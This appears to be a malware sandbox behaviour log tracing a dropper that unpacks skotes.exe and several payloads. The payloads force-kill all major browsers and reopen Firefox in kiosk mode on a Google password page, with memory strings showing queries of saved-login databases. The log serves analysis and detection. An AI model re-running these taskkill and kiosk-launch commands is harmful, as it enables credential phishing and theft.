Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM urls LIMIT 1000;q
Source: f20b4c0961.exe, 00000009.00000003.2188619484.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164529303.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2371854922.000000000541E000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2329105171.00000000053E5000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2325042167.0000000005404000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2372625539.0000000005411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2fQ8fpTWAP.exe

ReversingLabs: Detection: 57%

Source: 2fQ8fpTWAP.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: e2af9f55fd.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f20b4c0961.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f20b4c0961.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

File read: C:\Users\user\Desktop\2fQ8fpTWAP.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2fQ8fpTWAP.exe "C:\Users\user\Desktop\2fQ8fpTWAP.exe"
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe "C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe "C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2328 -parentBuildID 20230927232528 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {088f43d8-6bb3-42c8-b138-0dc4fcaf2c63} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27282f6d910 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3172 -parentBuildID 20230927232528 -prefsHandle 1404 -prefMapHandle 1368 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0244d90d-1682-4d12-b197-beaa83464e45} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27294e03b10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe "C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,10457971131075551606,11842695029259908311,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1968,i,2945064441202540453,18024779015295446793,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1936,i,3775567142360225983,14065324662938465342,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe "C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe "C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2328 -parentBuildID 20230927232528 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {088f43d8-6bb3-42c8-b138-0dc4fcaf2c63} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27282f6d910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3172 -parentBuildID 20230927232528 -prefsHandle 1404 -prefMapHandle 1368 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0244d90d-1682-4d12-b197-beaa83464e45} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27294e03b10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,10457971131075551606,11842695029259908311,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1968,i,2945064441202540453,18024779015295446793,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1936,i,3775567142360225983,14065324662938465342,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
